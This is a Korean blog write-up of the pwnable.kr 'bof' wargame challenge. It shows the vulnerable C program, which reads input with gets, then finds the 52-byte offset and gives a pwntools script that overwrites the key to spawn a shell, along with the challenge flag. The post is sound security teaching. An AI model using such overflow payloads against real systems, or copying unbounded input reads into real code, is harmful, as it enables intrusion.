Yozzang의 해킹일기 💻
article thumbnail
Published 2022. 6. 22. 00:41
Pwnable (3. bof) Wargame/Pwnable
728x90

이번 포스트에서는 Pwnable의 bof 문제에 대해 다루겠다.

 


문제 코드는 다음과 같다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

## 문제 해석 :

문제 코드를 살펴 보니, 우리가 입력한 값이 overflowme 라는 변수에 저장되고 해당 변수의 크기가 32바이트인 것을 알 수 있다.

또한 func()의 key값이 0xcafebabe면 쉘코드가 실행된 것을 알 수 있다.

## 문제 풀이 :

우리는 오버플로우를 통해 key값을 0xcafebabe로 바꿔주면 된다.

 

먼저 해당 key가 존재하는 위치를 알아야 한다.

bof를 디스어셈블한 결과는 다음과 같다.

disassemble(bof)

0x0000000000000954번째 줄을 확인 해보면 w1과 w0을 cmp(비교)하고 있다는 것을 알 수 있다.

또한 그 윗줄을 보면 w0에는 0xbabe, 0xcafe가 들어가 있는 것을 알 수 있다. 즉 w0은 0xcafebabe, w1은 key값인 것을 추측해낼 수 있다.

그 다음에 w1의 offset을 확인해보면 52라는 사실을 알 수 있다.

 

즉, 우리는 52바이트 만큼 오버플로우한 다음에 원하는 값을 기입하면 된다.

## 최종 결과 : 

### 공격 코드 :

from pwn import *

atc = remote("pwnable.kr", 9000) # 원격 연결

payload = "A" * 52 + "\xbe\xba\xfe\xca" # 페이로드 작성

atc.sendline(payload) # 페이로드 전송
atc.interactive() # 유저가 직접 화면에 입출력 할 수 있게 함

### 실행 결과 :

공격 실행

Flag = daddy, I just pwned a buFFer :)

'Wargame > Pwnable' 카테고리의 다른 글

Pwnable (6. random)  (0) 2022.07.04
Pwnable (5. passcode)  (0) 2022.07.03
Pwnable (4. flag)  (0) 2022.07.02
Pwnable (2. collision)  (0) 2022.06.19
Pwnable (1. fd)  (0) 2022.06.18
profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!